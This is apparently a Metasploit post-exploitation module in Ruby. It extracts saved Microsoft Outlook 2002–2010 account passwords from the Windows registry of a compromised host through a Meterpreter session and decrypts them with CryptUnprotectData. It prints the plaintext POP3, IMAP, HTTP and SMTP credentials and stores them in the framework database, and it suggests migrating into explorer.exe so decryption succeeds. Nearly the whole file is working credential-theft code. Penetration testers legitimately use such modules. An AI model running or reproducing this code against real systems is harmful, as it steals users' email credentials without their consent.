# $Id$

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Post::Windows::Priv
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather Microsoft Outlook Saved Password Extraction',
				'Description'   => %q{
					This module extracts and attempts to decrypt saved Microsoft
					Outlook (versions 2002-2010) passwords from the Windows
					Registry for POP3/IMAP/SMTP/HTTP accounts.
					In order for decryption to be successful, this module must be
					executed with the same privileges as the user which originally
					encrypted the password.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Justin Cacak'],
				'Version'       => '$Revision$',
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
	end


	def prepare_railgun
		rg = session.railgun
		if (!rg.get_dll('crypt32'))
			rg.add_dll('crypt32')
		end
	end


	def decrypt_password(data)
		rg = session.railgun
		pid = client.sys.process.getpid
		process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

		mem = process.memory.allocate(128)
		process.memory.write(mem, data)

		if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
			addr = [mem].pack("V")
			len = [data.length].pack("V")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
			#print_status("#{ret.inspect}")
			len, addr = ret["pDataOut"].unpack("V2")
		else
			addr = [mem].pack("Q")
			len = [data.length].pack("Q")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
			len, addr = ret["pDataOut"].unpack("Q2")
		end

		return "" if len == 0
		decrypted_pw = process.memory.read(addr, len)
		return decrypted_pw
	end

	# Just a wrapper to avoid copy pasta and long lines
	def get_valdata(k, name)
		@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
		registry_getvaldata("#{@key_base}\\#{k}", name)
	end

	def get_registry
		#Determine if saved accounts exist within Outlook.  Ignore the Address Book and Personal Folder registry entries.
		outlook_exists = 0
		saved_accounts = 0


		next_account_id = get_valdata("", 'NextAccountID')

		if next_account_id != nil
		#Microsoft Outlook not found

			print_status "Microsoft Outlook found in Registry..."
			outlook_exists = 1
			registry_enumkeys(@key_base).each do |k|
				display_name = get_valdata(k, 'Display Name')

				if display_name == nil
					#Microsoft Outlook found, but no account data saved in this location
					next
				end

				#Account found - parse through registry data to determine account type.  Parse remaining registry data after to speed up module.
				saved_accounts = 1
				got_user_pw = 0
				accountname = get_valdata(k, 'Account Name')
				displayname = get_valdata(k, 'Display Name')
				email = get_valdata(k, 'Email')
				pop3_server = get_valdata(k, 'POP3 Server')
				smtp_server = get_valdata(k, 'SMTP Server')
				http_server_url = get_valdata(k, 'HTTP Server URL')
				imap_server = get_valdata(k, 'IMAP Server')
				smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
				if smtp_use_auth != nil
					smtp_user = get_valdata(k, 'SMTP User')
					smtp_password = get_valdata(k, 'SMTP Password')
				end

				if pop3_server != nil
					type = "POP3"
				elsif http_server_url != nil
					type = "HTTP"
				elsif imap_server != nil
					type = "IMAP"
				else
					type = "UNKNOWN"
				end

				#Decrypt password and output results.  Need to do each separately due to the way Microsoft stores them.
				print_status("Account Found:")
				print_status("     Type: #{type}")
				print_status("     User Display Name: #{displayname}")
				print_status("     User E-mail Address: #{email}")

				if type == "POP3"
					pop3_pw = get_valdata(k, 'POP3 Password')
					pop3_user = get_valdata(k, 'POP3 User')
					pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
					smtp_port = get_valdata(k, 'SMTP Port')

					print_status("     User Name: #{pop3_user}")
					if pop3_pw == nil
						print_status("     User Password: <not stored>")
					else
						pop3_pw.slice!(0,1)
						pass = decrypt_password(pop3_pw)
						print_status("     User Password: #{pass}")
						# Prepare data for report_auth_info
						got_user_pw = 1
						host = pop3_server
						user = pop3_user
					end

					if pop3_use_spa != nil     #Account for SPA (NTLM auth)
						print_status("     Secure Password Authentication (SPA): Enabled")
					end

					print_status("     Incoming Mail Server (POP3): #{pop3_server}")

					pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
					if pop3_use_ssl == nil
						print_status("     POP3 Use SSL: No")
					else
						print_status("     POP3 Use SSL: Yes")
					end

					pop3_port = get_valdata(k, 'POP3 Port')
					if pop3_port == nil
						print_status("     POP3 Port: 110")
						portnum = 110
					else
						print_status("     POP3 Port: #{pop3_port}")
						portnum = pop3_port
					end

					if smtp_use_auth == nil    # Account for SMTP servers requiring authentication
						print_status("     Outgoing Mail Server (SMTP): #{smtp_server}")
					else
						print_status("     Outgoing Mail Server (SMTP): #{smtp_server}   [Authentication Required]")
						print_status("     Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
						smtp_password.slice!(0,1)
						smtp_decrypted_password = decrypt_password(smtp_password)
						print_status("     Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
					end

					smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
					if smtp_use_ssl == nil
						print_status("     SMTP Use SSL: No")
					else
						print_status("     SMTP Use SSL: Yes")
					end

					if smtp_port == nil
						print_status("     SMTP Port: 25")
						smtp_port = 25
					else
						print_status("     SMTP Port: #{smtp_port}")
					end

				elsif type == "HTTP"
					http_password = get_valdata(k, 'HTTP Password')
					http_user = get_valdata(k, 'HTTP User')
					http_use_spa = get_valdata(k, 'HTTP Use SPA')

					print_status("     User Name: #{http_user}")
					if http_password == nil
						print_status("     User Password: <not stored>")
					else
						http_password.slice!(0,1)
						pass = decrypt_password(http_password)
						print_status("     User Password: #{pass}")
						got_user_pw = 1
						host = http_server_url
						user = http_user

						#Detect 80 or 443 for report_auth_info
						http_server_url.downcase!
						if http_server_url.include? "h\x00t\x00t\x00p\x00s"
							portnum = 443
						else
							portnum = 80
						end
					end

					if http_use_spa != nil     #Account for SPA (NTLM auth)
						print_status("     Secure Password Authentication (SPA): Enabled")
					end

					print_status("     HTTP Server URL: #{http_server_url}")

				elsif type == "IMAP"
					imap_user = get_valdata(k, 'IMAP User')
					imap_use_spa = get_valdata(k, 'IMAP Use SPA')
					imap_password = get_valdata(k, 'IMAP Password')
					smtp_port = get_valdata(k, 'SMTP Port')

					print_status("     User Name: #{imap_user}")
					if imap_password == nil
						print_status("     User Password: <not stored>")
					else
						imap_password.slice!(0,1)
						pass = decrypt_password(imap_password)
						print_status("     User Password: #{pass}")
						got_user_pw = 1
						host = imap_server
						user = imap_user
					end

					if imap_use_spa != nil     #Account for SPA (NTLM auth)
						print_status("     Secure Password Authentication (SPA): Enabled")
					end

					print_status("     Incoming Mail Server (IMAP): #{imap_server}")

					imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
					if imap_use_ssl == nil
						print_status("     IMAP Use SSL: No")
					else
						print_status("     IMAP Use SSL: Yes")
					end

					imap_port = get_valdata(k, 'IMAP Port')
					if imap_port == nil
						print_status("     IMAP Port: 143")
						portnum = 143
					else
						print_status("     IMAP Port: #{imap_port}")
						portnum = imap_port
					end

					if smtp_use_auth == nil     # Account for SMTP servers requiring authentication
						print_status("     Outgoing Mail Server (SMTP): #{smtp_server}")
					else
						print_status("     Outgoing Mail Server (SMTP): #{smtp_server}   [Authentication Required]")
						print_status("     Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
						smtp_password.slice!(0,1)
						smtp_decrypted_password = decrypt_password(smtp_password)
						print_status("     Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
					end

					smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
					if smtp_use_ssl == nil
						print_status("     SMTP Use SSL: No")
					else
						print_status("     SMTP Use SSL: Yes")
					end

					if smtp_port == nil
						print_status("     SMTP Port: 25")
						smtp_port = 25
					else
						print_status("     SMTP Port: #{smtp_port}")
					end

				end

				if got_user_pw == 1
					if session.db_record
						source_id = session.db_record.id
					else
						source_id = nil
					end
					report_auth_info(
						:host  => host,
						:port => portnum,
						:sname => type,
						:source_id => source_id,
						:source_type => "exploit",
						:user => user,
						:pass => pass)
					#print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}")
				end

				if smtp_use_auth != nil
					if session.db_record
						source_id = session.db_record.id
					else
						source_id = nil
					end
					report_auth_info(
						:host  => smtp_server,
						:port => smtp_port,
						:sname => "smtp",
						:source_id => source_id,
						:source_type => "exploit",
						:user => smtp_user,
						:pass => smtp_decrypted_password)
					#print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}")
				end

				print_status("")

				end
		end

		if outlook_exists == 0
			print_status("Microsoft Outlook not installed.")
		elsif saved_accounts == 0
			print_status("Microsoft Outlook installed however no accounts stored in Registry.")
		end

	end


	def run
		uid = session.sys.config.getuid     # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.

		if is_system?
			print_error("This module is running under #{uid}.")
			print_error("Automatic decryption will not be possible.")
			print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
		else
			print_status("Searching for Microsoft Outlook in Registry...")
			prepare_railgun
			get_registry()
		end

		print_status("Complete")
	end

end